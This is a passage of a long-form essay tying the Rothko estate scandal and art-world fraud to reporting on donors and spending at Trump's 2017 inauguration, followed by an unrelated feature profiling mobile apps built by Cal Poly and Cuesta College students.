Starting in 1986, they gave them all away. The Met, in New York, got thirteen paintings. The Guggenheim took four. The Foundation gave one to the Albright-Knox Gallery in Buffalo—it was in storage when I was there in 2019—and one to the Dallas Museum of Art. All told, the Foundation gave Rothkos to twenty-nine American and six international galleries. To this day it remains one of the largest, most widespread gifts of art in the history of the United States. But the bulk of the collection, about nine hundred works, including two-hundred-and-ninety-five oil paintings, went to a single gallery in Washington D.C.
By the time I returned to the Rothko room at the National Gallery, Donald Trump had been president for almost three years. He was, at the time, in the middle of his first impeachment trial. My daughter, who hadn’t been born yet on my first visit, was now two-and-a-half. A few of the paintings had been switched out since the inauguration and the gallery was much more crowded than it had been on that day. But the impact of all those paintings, all together, in one place, hadn’t diminished with time.
There were ten of them in the room—nine large canvasses and one smaller one hung just inside the exit. The colours ranged from yellow and black, to green, orange and purple. But all the tension, in every block, in every picture, was in the borders, in the places where the colours met.
The Rothko Foundation chose the National Gallery in large part because it is a public institution. The paintings, which had come so close to being sold off in secret deals to private buyers, would instead belong to the public, forever. The gallery has a policy to never deaccession works. “Selling, or giving away, or destroying or whatever: we just don’t do it,” Hooper said.
Donald Blinken turned ninety-four the fall I spoke to him. He turned ninety-six this year. His son, Anthony, is now Joe Biden’s Secretary of State. I told him when we spoke that the story of the Mark Rothko Foundation struck me as highly unusual: a case where a wrong had been done—in secret, for the benefit of the rich—that was in turn righted. That doesn’t happen very often when money, or power, is at stake. “It’s a good observation and I think you’re absolutely right,” he replied. “I’m very proud of what we did.”
I spent another two days in D.C. after that first visit to the Rothko room. I watched Three Doors Down warm up for a set at the Lincoln Memorial. I stood outside the DeploraBall as alt-right royalty slinked past protestors to get inside. On the eve of the inauguration, I saw a young man marching near the Capitol, holding a sign that read: “THIS IS FUCKED UP.” As he walked, a Trump supporter in colonial cosplay jogged after him, trying to block the sign with his tricorn hat.
On the morning of the inauguration, I woke up before 5 a.m. I threw my shaving cream and toothpaste in the garbage to save time at the airport and left my little suitcase by my friend Julia’s front door. I spent the next several hours going through security—a series of long lines, through fences, into buildings and basements, then out again, through another fence and onto the Capitol steps. My flight back to Toronto was at 6:35 that night. Friends and family had flown in for the wedding and I had to be back in the city by nine. Maybe that’s why I missed so much of what was going on around me. Maybe I was distracted by the spectacle of it all. It was also all very cold and strange. (The core theme of the inaugural speech was American carnage.) But in any case, I missed it. It happened—the greatest scam in American history kicked off—and I didn’t have a clue.
‘This Was a Bonanza’
Ilya Marritz, a former senior reporter at WNYC Radio, and co-host of the Trump Inc. podcast, looks, in person, a bit like an actor playing a reporter on TV. When I met him in the WNYC offices in late 2019, he wore dark jeans with big cuffs and a tight plaid shirt. His stubble was just starting to go grey. In the months after Trump’s election, Marritz, like a lot of reporters, was still trying to get his bearings back; he was trying to find his way into what had become the biggest story in the world.
Marritz is a New York native. He’s been aware of Donald Trump his whole life. “I remember his divorce on the pages of the Post,” he said. But what surprised him, early on, was just how much he didn’t know about the new president’s world. “I realized and some of my colleagues realized, that there was so much about this man that we didn’t understand,” he said.
About a year after the election, Marritz and the WYNC team were still looking for roadmaps. They wanted to figure out where to look, to understand where corruption might be, if it was there at all. “We were kind of spit balling at the beginning, looking at, well, ‘what are the stories that we can do?’” Marritz said. “And very early on, I got interested in the inauguration.”
An hour into my conversation with art reporter Michael Miller, about Knoedler and the New York art world and his own life, we started talking about Donald Trump. In a way it was surprising it took us that long. It was November 2019. Trump was in the middle of his first impeachment. We were in midtown Manhattan, blocks from the Trump Tower, in the cafeteria at the headquarters of The New York Times, a paper that published one-hundred-and-eighty-one stories featuring Trump that month alone, or an average of more than six a day.
“There’s a lot of firsts there,” Miller said about the Trump presidency. “But it’s also, kind of, the first art collecting administration.” Trump was no connoisseur; he favoured reproductions and paintings of himself. But his cabinet was full of them. His moneymen were big art buyers. So were his daughter and her husband. “The fucking treasury secretary is a major collector,” Miller said. “His father owns a revered Upper East Side gallery that’s around the corner.”
Marritz and his colleagues soon figured out that there was something very strange about the Trump inauguration. By that point WNYC had teamed up with a guy named Robert Maguire, an expert on money in politics. What they noticed—and they weren’t alone in this—was that Trump’s inaugural committee had raised an enormous amount of money for what looked like a very small party. “People who are experienced in this area described it as very low key,” Marritz said. There were only three official balls. In 2009, Obama went to eleven. There were no A-list performers. Obama had Beyoncé, Bruce Springsteen and Stevie Wonder. Trump drew The Piano Guys and DJ Ravidrums. (Even a Springsteen cover group, The B-Street Band, refused to perform.)
The budget for a such an event should have been modest. Instead, it was huge, like, historically huge. For the largest inauguration in American history, Obama raised about $53 million. Trump brought in more than double that, $107 million. “The two inaugural planners I had talked to, one Democratic, one Republican, were both flabbergasted and in agreement that it would not be possible to spend that amount of money, like actually impossible,” Marritz said.
It wasn’t just how much money, either. It was who was giving it. Unlike previous inaugurations, the Trump committee put no cap on individual or corporate donations. The casino magnate Sheldon Adelson gave $5 million. Coal miner Clifford Forrest gave $1 million. Billionaire Robert Mercer, the hedge fund tycoon who funded Cambridge Analytica, gave a million, too. “This was a bonanza,” Marritz said. “Anybody could give. All dollars were welcome. Just give, give, give, give, give.”
After all the lawsuits were settled, Kate and Christopher Rothko owned a collection of their father’s art, from every period of his career, far too vast for the two of them to ever display. In the decades since, the Rothko heirs have loaned paintings out to exhibitions and retrospectives. They’ve hung some in their own homes, in Washington and New York. And in 2004, they sold a trove of paintings to J. Ezra Merkin, a Manhattan money manager who was then putting together one of the largest private collections of Rothkos in the world.
Merkin’s new Rothkos included studies for the Seagram’s murals and for the Rothko Chapel in Houston. Merkin hung them in his ten-figure co-op at 740 Park Avenue in Manhattan, around the corner from the old Knoedler building and less than a mile from the luxury apartment tower where Harry Macklowe hung a forty-two foot picture of his new wife after finalizing his divorce from Linda.
740 Park has been called “The World’s Richest Apartment Building.” Potential owners need $100 million in liquid assets just to apply to live there. Stephen Schwarzman, a hedge fund billionaire and art collector who donated $250,000 to Trump’s inauguration, lived there. Steven Mnuchin, a long-time Goldman Sachs executive and the son of gallery owner Bob Mnuchin, did too. In the years after the financial crisis, Mnuchin served as the head of OneWest Bank. Under his leadership, in just six years, OneWest carried out 36,000 foreclosures in California alone. In 2017, Trump named him secretary of the treasury.
As for Ezra Merkin, he lost his Rothkos, which he never really paid for, in 2009. For years, it turned out, he had been passing on his clients’ money to Bernie Madoff to invest. When Madoff’s Ponzi scheme collapsed, Merkin’s clients, which included several large charities, lost billions. Merkin never admitted any fault in the Madoff scheme. He kept his co-op at 740 Park (although it was badly damaged in a sauna fire in 2016.) But as part of the fallout, the New York Attorney General forced him to sell his entire art collection, for $310 million. A mystery bidder bought the Rothkos. For years, as far as the art world was concerned, they just disappeared.
Thirteen months after the inauguration, WNYC launched a podcast series dedicated to the business history
and dealings of the new president. They called it: “Trump Inc.” In the early weeks, the show covered corruption at the Trump Taj Mahal, Jared Kushner’s real estate empire and the president’s financial ties to
Russia. But Marritz remained focussed on the president’s first day: “I just started calling every name that I could find connected with the inauguration, every single one,” he said. “I got on LinkedIn. I reached out everywhere.”
There were three big questions at that point: Where had all the money gone, who had given it, and why. The answer to the third question was in some ways the easiest to find. People went to the inauguration or gave money to the inaugural committee, or helped organize inaugural events because they wanted something from Donald Trump. “Just the on-the-books donors that we know about is a perfect guide to who has sought influence in the Trump presidency,” Marritz said.
But it wasn’t just the donors. Elliott Broidy, the vice-chair of Trump’s inaugural committee, used the event to drum up business for his own companies. He offered inaugural tickets to two senior Angolan politicians in a letter that also included a contract he asked them to sign. He gave out invites to a Congolese strongman and a politician once dubbed the “Romanian Darth Vader,” all part of a plan to, according to The New York Times, solicit up to $266 million in foreign defence intelligence contracts. “Those kinds of people were showing up because nobody was vetting them,” Marritz said. “There were no constraints put on this. It was an open for business inauguration.”
In the summer of 2006, Steve Wynn, a casino owner and long-time friend of Donald Trump’s, agreed to sell Picasso’s Le Rêve, a famous painting of the artist’s young mistress, to the hedge fund billionaire Steve Cohen for $139 million. A decade later, Wynn would help organize the Trump inauguration. He served on the fundraising committee. He had “Steve Wynn’s Showstoppers”—his personal team of Vegas dancers—flown in to perform. He insisted, according to documents released by a special prosecutor, that “40 Hour Week,” by Alabama, be played at one party.
Cohen, who donated $1 million to the inauguration, is himself one of the world’s leading collectors of art. His trove includes works by Pollock, de Kooning, and Andy Warhol. He owns Damien Hirst’s The Physical Impossibility of Death in the Mind of Someone Living, a thirteen-foot preserved tiger shark swimming in a display case of formaldehyde. Cohen, who founded S.A.C. Capital, is worth an estimated $14 billion. The New Yorker once described him as “a symbol of Wall Street malfeasance.” In 2013, his former firm paid a $1.8 billion fine to settle charges of insider trading. One of his associates was sentenced to nine years in prison. Cohen now owns the New York Mets.
In 2006, however, Cohen’s purchase of Le Rêve fell through. The night before the sale, Wynn put his elbow through the canvas while showing it to some friends.
For months, Marritz had little to show for his focus on the inauguration. He knew there was something there. That much was obvious. “There was like $40 million or so that was unaccounted for,” he said. But he couldn’t figure out what that something was or where all that money had gone. Still, Marritz didn’t give up. He felt like he was close to something big. “I just knew it,” he said. “I mean, I just fucking knew. I still know it. There is still more to be understood.”
What happened, in the end, is what happens in almost every big breakthrough in journalism. After endless calls and ignored emails, someone told Marritz something he didn’t know. “I can’t tell you very much about my reporting breakthrough except to say that eventually people started sharing documents with me,” he said. Those documents pointed him, and the WNYC reporting team, to at least two seismic facts about the inauguration. One was that the Trump International Hotel in Washington, a luxury property right between the White House and the National Gallery, got paid, a lot, from inaugural funds. The other, Marritz said, was that Ivanka Trump, the president’s daughter, had known about it.
In the late months of 2016, not long before the inauguration, Trump’s advisors and would-be members of his cabinet began compiling and submitting financial disclosure forms to the Office of Government Ethics. Disclosures are always newsworthy when they emerge. It’s important to know who owns what in any government. But the Trump disclosures were eye-popping on a different scale.
In a way unmatched in American history, Trump’s cabinet members and close advisors were rich, phenomenally so. Wilbur Ross, Trump’s commerce secretary, needed fifty-seven pages to detail his assets. (A typical disclosure is twelve pages or less.) He listed about $700 million in stocks, trusts, and property. He cited an art collection, heavy on René Magritte, valued at between $50 and $150 million.
Ross, in other words, was very wealthy. But it turned out he wasn’t quite as wealthy as he had often claimed. In 2017, disclosures in hand, Forbes pulled Ross from its annual billionaires list. Ross, the magazine concluded, had invented an extra $2 billion in net worth. “That money never existed,” senior editor Dan Alexander wrote. “It seems clear that Ross lied to us.”
Mnuchin, Trump’s pick for the treasury, had the opposite problem. His disclosures revealed that he was about ten times wealthier than public projections had assumed. In total, Mnuchin disclosed about $400 million in assets, including a stake in a $14.7 million de Kooning. (Say what you will about Mnuchin, but it’s hard to argue with his taste in art. After he was installed in cabinet, he borrowed five Rothkos from the National Gallery to decorate his office.)
Like Mnuchin, Ivanka Trump and Jared Kushner initially failed to disclose the extent of their art collection. It was only in the summer of 2017, on an amended form, that the couple revealed they owned between $5 and $25 million worth of contemporary art. That revelation, at least, came as no surprise to those in the New York art world. Ivanka Trump had been a mainstay in the gallery party circuit before her father became president. Her Instagram account often showed her in the family’s Manhattan apartment, posing before works by artists like Alex Israel, David Ostrowski and Alex Da Corte. “Dear @ivankatrump,” Da Corte wrote when saw the picture, “please get my work off your walls I am embarrassed to be seen with you.”
There was one inconvenient fact that loomed over every part of the preparations for the 58th Presidential Inauguration: Donald Trump and his advisors had not expected to win the election. The Trump team hadn’t taken the job of preparing for the presidency seriously. And what work was done, under the direction of former New Jersey Governor Chris Christie, was all thrown out after the votes came in. “That’s really late in the game to start planning the transition,” said Marritz. “Similarly with the inauguration, it’s always a sprint, but it seemed to come together even more haphazardly than is normal.”
Trump put real estate investor Thomas J. Barrack, who was later charged with conspiring to act as an agent of the United Arab Emirates while advising Trump, in charge of the festivities. Wynn, who stepped down from his own company in 2018 after being accused of serial sexual abuse, played an active role in the planning, as did Rick Gates, Trump’s deputy campaign manager. (Gates later admitted it “was possible” he had stolen money from the planning fund; he was convicted of lying under oath and conspiring against the United States in 2019.) But the main job of actually pulling the party together went to Stephanie Winston Wolkoff, a veteran New York event planner and long-time friend of Melania Trump’s.
Winston Wolkoff would later emerge as a key player in the inauguration drama. That was in part because she kept meticulous records, but it was also because she spoke about the event to Michael Cohen, Trump’s fixer, on the phone. Cohen, who was convicted of what a judge called “a veritable smorgasbord of fraudulent conduct” in 2018, secretly recorded those calls. And when he was arrested, investigators seized the tapes and used them to launch an investigation into the inaugural committee.
Winston Wolkoff had made the mistake of assuming that, for all its public dysfunction, the Trump world would still operate something like a credible, business-oriented operation. What she found instead was a kind of chaos of disorganized grift. “There was all of this money just pouring in everywhere,” Maguire said.
Gates, Winston Wolkoff told Cohen, had asked vendors if they’d take money directly from donors, apparently to hide how much was coming in and from whom. Another consultant later admitted to using so-called “straw donors” to hide illegal contributions, likely from overseas.
But the most telling story to emerge from Winston Wolkoff’s records was the about the Trumps themselves and their business interests. At some point early in the process, it was made clear to the organizers that the Trump Hotel had to be a venue, Marritz said. And when it came time to plan official inaugural events, the Trump was the only hotel the committee considered.
That in itself was iffy enough. Trump still owned his company. When the Trump hotel made money, he made money. And everybody knew that. What was worse, though, was that the prices the hotel quoted were wildly out of touch with what other venues wanted.
The Trump initially asked the committee for $3.6 million to reserve all event space in the hotel for eight days in and around the inauguration. That worked out to $450,000 a day, a number so inflated and so far beyond the hotel’s internal pricing scheme that even Gates balked. (Another non-profit booked a ballroom for $5000 that week. Other hotels were offering them up for free.) Gates wrote to Ivanka Trump and asked her to intervene. A Trump Hotel official got back to Gates, said he had “spoken to Ivanka about inauguration pricing,” and offered to negotiate. After going back and forth, the hotel presented the committee a new rate: Four days in the Presidential Ballroom for $175,000 a day plus an additional $200,000 on food, and a $300,000 inaugural party for the Trump kids.
To Winston Wolkoff all of this seemed not just outlandish, but potentially embarrassing. In an email first revealed by Marritz and a team at ProPublica, she warned the rest of the inaugural committee about her concerns. “These are events in PE’s [the President-elect] honor at his hotel and one of them is with and for family and close friends,” she wrote. “Please take into consideration that when this is audited it will become public knowledge.”
The committee went ahead with the buy.
Trump Inc. and ProPublica first published excerpts from Winston’s Wolkoff’s emails on December 14, 2018. Above the ProPublica story, co-written by reporter Justin Elliott, editors placed a photo of Trump speaking on inauguration day. You can see me in that picture. I’m sitting in the front row beneath the dais, near the far end. Frank Spotorno, the elevator design king of Long Island, was next to me. His friend Darren Aquino, a personal chef, actor and advocate turned Republican candidate, sat one seat over to the right. (In 2020, Aquino demanded a recount after finishing eighth in a Florida primary.)
In the weeks before and after the ceremony, the big story about the inauguration wasn’t who was there, it was about who wasn’t. The crowd was modest. Tickets weren’t exactly scarce. I applied for credentials a week before the event. They sat me in a VIP zone. Even Spotorno had no idea how he ended up in the front row. “The CFO, the CEO (of the Trump Organization), they were all at the back,” he told me when I met him for a drink, years later at the Trump Hotel in New York. “Newt Gingrich, he was standing up, maybe ten-to-twelve aisles back…but we were sitting down. It was an awesome day.”
But all of that, to Marritz—the crowd size, the speech, the D-list VIPs—was a distraction. It foreshadowed a pattern that would play out again and again in the Trump presidency. “Some controversy bubbles up, everybody runs there and checks it out,” Marritz said. And in the process, they miss what’s really going on: “How Trump does business. And the fact that Trump expects to be paid.”
In January 2020, the Attorney General for the District of Columbia sued the Trump inaugural committee, the Trump organization and the Trump International Hotel alleging that the three entities had conspired to waste the non-profit committee’s funds. In December 2020, as her father was ginning up the outrage that would lead to the Capitol riots, Ivanka Trump was deposed, behind closed doors, in the case. In New York, prosecutors launched a separate criminal investigation into the inauguration in late 2018. In February 2021, Imaad Zuberi, a California venture capitalist and lobbyist, was sentenced to twelve years in prison as part of that probe. Zuberi had been working, secretly, for, among others, the Sri Lankan government. He promised to use political donations to influence American policy. He also donated almost a million dollars to the inaugural fund.
In a separate case, Broidy, Trump’s inaugural vice chair, pleaded guilty to illegal lobbying in late 2020. Like Zuberi, Broidy took millions to secretly press the Trump administration after helping Trump raise millions for his campaign. Broidy, who Rolling Stone once dubbed “Washington’s ultimate swamp creature,” was forced to forfeit more than $6 million. He was facing up to five years in prison. But in Trump’s last hours in office, four years to the day after the inauguration, he issued Broidy a full pardon.
The conviction, though, only scratched the surface of Broidy’s strange dealings during the Trump years. He was also involved in a plan to tilt American foreign policy away from Qatar. Broidy would later accuse Qatari agents of leaking damaging emails to discredit him, including one that revealed he once agreed to pay a Playboy Playmate $1.6 million to cover up their affair. (Like Trump, Broidy used Cohen as a go-between to arrange his payoff).
Broidy’s well-paid campaign against Qatar kicked off not long after the ruling family of the oil-rich gulf state emerged as perhaps the dominant force in the global art world. In 2007, the Al Thani family paid almost $73 million for David Rockefeller’s prized Rothko, an unusual canvas of yellow over pink. The sale almost quadrupled the existing auction record for a Rothko which had been set, in 2005, by Homage to Matisse. In 2011, The Art Newspaper revealed that the Al Thanis were also the buyers of the mystery Rothkos from J. Ezra Merkin’s collection.
In 2020, ARTnews named two members of the Al Thani family to its annual list of the most important art collectors in the world. At least seven top inaugural donors also made that list. Steve Cohen, who gave $1 million and bought Wynn’s patched up Picasso, makes it every year. So does Wynn. Hedge fund billionaire Kenneth Griffin owns a $300 million de Kooning. He gave $100,000 to the Trump inauguration party fund. Fund manager Bruce Berkowitz, who for years wanted to build his own private gallery in Miami, donated $125,000. Henry Kravis, the barbarian in the business classic Barbarians at the Gate, and the owner of a Monet and a Renoir, gave $1 million. So did Charles Schwab, who owns a Pollock and a Bacon.
Frank Fertitta III, a casino magnate who helped build the Ultimate Fighting Championship with his brother Lorenzo, gave the committee $207,000. The Fertittas are serious art collectors. When they bought the Palms Casino Resort in Las Vegas, they commissioned Damien Hirst to decorate the club. Among other works, Hirst built a divided triptych shark tank to stand above and behind the bar. He also designed a suite in the hotel that rented out for $100,000 a night. It came complete with two preserved sharks in a single tank.
In 2008, Fertitta, still at that point the co-owner of the UFC, paid $7.2 million for an orange, red and blue Rothko. He bought the painting through an agent, on the advice of Swiss art historian Oliver Wick. It was only in 2013, after reading a story in The Art Newspaper, that Fertitta discovered the painting was a Knoedler fraud.
For Marritz, the story of the Trump Hotel at the inauguration was the story of the Trump presidency. It wasn’t about policy, not really. Trump never really believed in anything, except money and himself. And he was never particularly concerned about where that money came from or who was funneling it to him. “Really, the opening act in all of that,” Marritz said, “was the inauguration itself.”
On the day I met Miller, in New York, Trump had just been ordered to pay a $2 million civil settlement stemming from a lawsuit that accused him of exploiting his own charity during the campaign. That suit was tied to a fundraising event in Des Moines, Iowa, in January 2016. I was there that night. It was the first time I ever saw Trump live. The experience was a bit like being drawn into a big top by a carnival barker, only to find the barker himself on stage, inside, yelling about the greatness of barking.
But the crowd, as they always did, loved it. I have a photo from that night saved on my phone. I took it from the side balcony, moments after Trump left the stage, as the audience swarmed toward him. In the centre balcony, you can see a man pitching over the railing, his body bent past ninety degrees. In the blur of movement below, there are red hats and upraised fists and in one corner the starburst glare of a professional flash.
There are parallels, Miller believes, between the Knoedler case, the Rothko story, and the great, long scam of the Trump years. They all exposed things as they already were. “You very rarely in a luxury market like the art world, or high-end real estate—which is the world of the Trumps—see any kind of transparency,” he said. None of this was new, in other words. It wasn’t novel. It was just out there, briefly, for everyone to see.
It will sound like pathetic fallacy, but it’s true: When Trump spoke on inauguration day, the rain began to fall. Fat drops in cold air, they caused a collective sudden rustling of ponchos being unfurled. From below, where I sat, it sounded like a thousand pigeons fluttering their wings to shake off the rain.
As Trump spoke, a photographer for CNN shot a massive, megapixel picture of the crowd. Zoom in and you can see me in the shot. My head’s down. I’m looking at my notes. I watched Trump walk out from the Capitol. I saw him pause behind the bulletproof glass, saw him clench his hands and do his odd little victory shake. But when he reached the podium, when he finally took the oath, when his four years officially began, he slipped from view. From the front row, you couldn’t see him. That was fake, too.
Coda: ‘Another Poem’
At the end of my conversation with Christopher Rothko in New York, as we were gathering our things, I asked him if there was anything we hadn’t talked about, anything more he wanted to say. Rothko paused and thought; he seemed ready to move on, then something struck him: “I want to talk,” he said, “about the painting at the AGO.”
The Art Gallery of Ontario, in Toronto, acquired a Rothko directly from the artist’s studio in 1962. The painting was a gift from the Women’s Committee Fund, a volunteer organization that raised money at the time to buy and give away work. “I think that is easily one of the twenty greatest Rothkos ever painted,” Christopher told me. “Maybe higher than that. And I’ve been to the AGO four times and it has never been on display.”
When I came back to Toronto that fall, I wrote a newspaper story about the AGO Rothko, which had been in storage or on loan at that point for more than a decade. “I don’t get it,” Christopher told me. “It’s not like they have other Rothkos hanging. It’s not like they are hanging exclusively Canadian art…So this is a plea to get that painting out of storage—or if not, I’ll swap with them.”
He laughed then. But he wasn’t joking. Not really. Even all these years after the Rothko Affair, Christopher still owns more Rothkos than he could ever hang.
When I wrote my story, the gallery told me they planned to put the canvas up sometime in 2020. But then 2020 came and everything fell away. The AGO closed in March when the pandemic arrived in Toronto. It reopened that summer and then closed again as cases climbed before Christmas. In February 2021, I reached out to the gallery again. I needed an ending. But it was more than that. I wanted to see another painting. (“I wished for what I always wished for,” Louise Glück wrote. “I wished for another poem.”)
The good news was, the painting was up, finally. But the gallery wasn’t open, not yet. I tried again in March. And for a brief window I thought I might get in. Twenty minutes. No photos. Just me. But then another surge and another lockdown. I asked again in May. And then July. And then the email came. “It breaks my heart to tell you this,” the gallery’s publicist wrote to me. “But although the AGO is hoping to re-open on July 21 (and we’d be delighted to have you in), the Rothko is coming down to make way for the Matthew Wong exhibition.”
The AGO suffers from abundance; it owns far more paintings than it can ever display. And there are deals involved with wealthy donors that govern what can be moved and when.
The Rothko offers an additional issue: geometry. The canvas, almost eight feet by seven-and-a-half feet, is too large to share space. It can’t be crowded in. It needs a dedicated wall, and there aren’t that many walls in the AGO that are large enough. That the gallery finally found space for it, that it made room, that the Rothko hung there for a half a pandemic year only to come down again before anyone other than gallery staff could see it, felt like its own kind of art: a performance of absence in a year when so many things were lost.
Maybe that’s why I kept trying, why I couldn’t let the Rothko go. It felt like a string tied through a funhouse mirror to a previous world. In late October, with the anniversary of Trump’s defeat looming, I tried one last ploy. I asked Christopher Rothko to intercede, and he agreed. And that’s how, on a late October day, I came to be standing one more time before the real thing.
I’m not allowed to say where I saw the Rothko, other than to say that it was in the Art Gallery of Ontario, a building next to a playground that my daughter, now four, loves to climb and slide and swing across. But it was a strange enough thing in the end. The light was off—too stark and uneven. And as I stared, a modern art curator jiggled a silver-sneakered foot, seemingly anxious to get on with his day.
My younger friends will sometimes ask me what fatherhood feels like. I’m never quite sure how to put it into words. It’s an ache in places I never knew were there, a feeling with fuzzy edges and a scarlet core where the love for everything that is washes up against the fear and the mystery of what may be. I felt a refraction of all that as I looked at the Rothko. I stared for so long that when I finally left and closed my eyes, I could see the afterglow of the canvas against my eyelids: a white haze and a brown float, and everything anchored in red—perfect smear.
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Search the top productivity apps in the Google Play Store, and you’ll find one that turns your tablet into a handy note-taking device. In the Apple App Store, a program helps music novices compose a tune.
These innovative apps did not originate from a Silicon Valley powerhouse. They were conceived on local college campuses.
Cal Poly and Cuesta College were among a handful of U.S. colleges to offer mobile application development classes when they started their programs in 2010. The classes caught on quickly, appealing to students for reasons that included career advancement, the novelty of learning a cutting-edge skill, and the potential for creating the next Angry Birds.
Both colleges now offer iOS (iPhone) and Android programming classes. Each class involves the creation of an original app, most of which are released in the Google Play Store or Apple App Store. Not all have been profitable, but some have opened doors to jobs, internships and other business opportunities. The talented young programmers emerging from these courses have attracted the attention of tech firms such as Google, eBay and Apple.
Here we profile current and former Cal Poly and Cuesta students who have created ingenious apps both inside the classroom and beyond.
Developer: Andrew Hughes
Where available: Google Play Store and Windows Phone Store
Rating: 4.5 stars in both Google Play Store and Windows Phone Store
Price: Free, with in-app purchases priced at $2.99 and $4.99
If Andrew Hughes has his way, Papyrus will be a standard tool in every boardroom and classroom.
His Android app, named for the paper-like material produced from the papyrus plant, allows users to take handwritten notes on a phone or tablet. Among its many features are pressure sensitivity to mimic the feel of writing on paper, as well as the ability to cut, copy and paste items.
Other handwriting apps exist — such as Handrite Note and DioNote — but Hughes said Papyrus might be the only one that allows a user’s finger to work as an eraser when an active pen is used.
As a senior majoring in computer engineering, Hughes had enrolled in Cal Poly’s first Android class, taught by David Janzen. He developed the app after graduating from Cal Poly with a master’s degree in electrical engineering. His thesis on active pen technology, a type of stylus that communicates with a touchscreen device, was completed before such technology appeared on devices such as the Samsung Galaxy Note.
Hughes launched the app in 2012 in the Google Play Store, where it was downloaded about 100,000 times in its first year.
A year later, after being featured as a top productivity app, downloads exceeded 300,000 in a single week. The count now sits at just over 1 million. Hughes recently released a version of Papyrus for Windows Phone, as well as an update that allows users to import PDF files.
Papyrus is a full-time business enterprise, said Hughes, who never intended to be an entrepreneur. In 2012, he formed Steadfast Innovation LLC with Janzen, an adviser on the project. He employs three part-time independent contractors and would like to develop more apps.
For now, one is enough.
“We’re not currently working on any other apps because we have so much to do with Papyrus,” he said.
SLO Bus Tracker
Developers: Zach Negrey, Jeff Brown and John Osumi
Where available: Google Play Store and Apple App Store
Rating: 4 stars in Apple App Store, 4.5 stars in Google Play Store
As luck would have it, Zach Negrey and Jeff Brown were standing at a bus stop in January 2011 when they began brainstorming project ideas for their Cal Poly mobile application development class.
Having missed the bus on at least one occasion, they decided to create an app that allows users to determine the location of San Luis Obispo city buses using real-time vehicle positioning data from San Luis Obispo Transit servers.
SLO Bus Tracker was released in March 2011. Users now have access to route schedules and the estimated time of a bus’ arrival at a stop. They also can create notifications so they don’t miss a bus.
The app is also useful for transit managers who can audit vehicles and drivers, modify listed routes, maintain publicly available schedules and deliver transit news.
In February 2012, Negrey and Brown, now Cal Poly graduates, formed Bishop Peak Technology LLC, focusing exclusively on transit apps. In June 2013, they brought onboard former Cal Poly student John Osumi as chief executive officer.
The team released an iOS version and multiple updates of SLO Bus Tracker. An update released this spring made the app “faster, more accurate and now includes dynamic bus statuses (noting whether a bus is early, late or on time),” Osumi said.
Since the team began tracking usage statistics two years ago, the app has been downloaded more than 21,000 times and is active on about 11,000 devices. It averages more than 6,000 users daily.
Bishop Peak Technology now employs six people and plans to hire more software developers this year, Osumi said.
The city of San Luis Obispo uses SLO Bus Tracker for free because of budget limitations, Osumi said. However, Bishop Peak Technology has lucrative contracts with other municipalities and private transportation systems. Among its client portfolio is the city of Vacaville.
“We’re partnering with some of the largest fleet management companies to take our services to a national — and soon international — scale,” Osumi said.
Developer: Stefan Ayala
Where available: Apple App Store and Google Play Store
Rating: 4.5 stars in Apple App Store and 4.3 in Google Play Store
Stefan Ayala was hired as a quality assurance engineer at iFixit, a San Luis Obispo company that sells repair parts and provides free online repair guides, about the time he enrolled in Randy Scovil’s iOS course at Cuesta College “for fun.”
After the course, he continued to expand his knowledge of iOS programming. His efforts paid off two years ago.
“iFixit needed someone to add some features (to its mobile app) that customers and companies wanted,” he said. “Since I was one of the only developers at iFixit who knew how to program iOS, I sort of by default became their lead iOS developer.”
The app, originally developed by David Patierno, is an offshoot of the online repair guides at www.ifixit.com.
“If you’re doing a repair on the go, having an iFixit application on your smartphone becomes more appealing than lugging around a computer to access our website,” Ayala said.
The app offers access to thousands of free how-to guides, which give step-by-step instructions on subjects ranging from hemming pants to replacing the motherboard on your computer. It is also “open source,” meaning the source code can be accessed and modified by anyone.
Among the improvements implemented by Ayala are improved category navigation, the ability to download videos for offline viewing, and improved search functionality.
The app is downloaded about 1,000 times daily. It has more than 800,000 unique downloads and is in the top 50 applications for reference apps, Ayala said.
Ayala, who hopes to finish his upper-division software engineering courses at Cal Poly, has worked on several projects independently as well. AED Finder was a Cuesta College class project initiated by Ellery Conover and developed by Ayala. It allows users to find the nearest AED (automatic external defibrillator) among 14,000 locations worldwide. VS Scorekeeper is a simple smartphone scorekeeper. AutoText Plus, another class project, allows users to schedule automated text messages to be sent at a future time. All are available through the Apple App Store.
Blips Melody Maker
Developers: Derek Halman and Max Linsenbard
Where available: Google Play Store
Rating: 4.2 stars
Derek Halman was an amateur guitarist and songwriter with one primary complaint.
“The mere fact that I was able to learn so many complex riffs and solos written by guitarists I admire yet struggled so deeply with theory and composition was quite troubling,” he said.
This prompted Halman to create a simple music composition app. Then, in his Cal Poly Android class, classmate Max Linsenbard, an accomplished musician, suggested they refine that app as their class project.
“I jumped at the opportunity to implement all the features I’d thought of but didn’t have time for,” Halman said.
Blips is a melody-maker geared toward users with a range of skill levels. Advanced musicians can create complex compositions with the variety of scales and instruments available. Novices can build melodies without knowledge of music theory because of “scale association,” presenting notes that work well in relation to one another.
Although there are many melody-maker apps available, Halman believes that theirs “takes mobile melody sequencers in a new direction” with features intended to help users learn music theory and develop pitch recognition.
The app was released in December in the Google Play Store as “Blips Beta” but is now known as “Blips Melody Maker.” It has been downloaded more than 3,000 times and has about 1,000 installs.
It was decided that free apps “are the best way to reach the largest audience, and we didn’t like the idea of popup ads all over the place,” Halman said. However, the team hasn’t discounted the idea of generating revenue by adding advertising or in-app purchases in the future.
Linsenbard and Halman continue to work on Blips, but they have also created apps separately. Linsenbard created Flux, a game that placed second at the Cal Poly Global Game Jam this year. Among Halman’s current projects is soon-to-be-released Atlusion, which is both a social media website and mobile app designed specifically for cross-platform gamers.
Both are working to complete their computer science degrees and have internships: Linsenbard at Apple and Halman at Google. Both plan to pursue careers in software development.
Developer: Marty Ulrich
Where available: Apple App Store
Rating: 4 stars
Price: Free, with in-app purchases for 99 cents
Marty Ulrich hadn’t yet decided on a major when he took his first introductory programming course at Cuesta College with Randy Scovil. After that, “it was an easy choice,” he said. “He made the material interesting and exciting. I learned enough of the basics in that one term to be able to start taking on freelance projects as soon as the course finished.”
He transferred to Oregon State University and began working on his undergraduate degree in computer science. Meanwhile, he continued developing apps on a freelance basis. He designed several for Southern California graphic design company Poets Road, including Free Candle.
Free Candle is basically what it sounds like — a virtual candle for your phone. When a user blows on the screen, the phone’s microphone picks up the movement and causes the flame to flicker or be extinguished. The program is simple, which was good for Ulrich, who says he was “still going through the learning process.”
The app was released in the iTunes app store in fall 2011, and “it had a modest start,” Ulrich said.
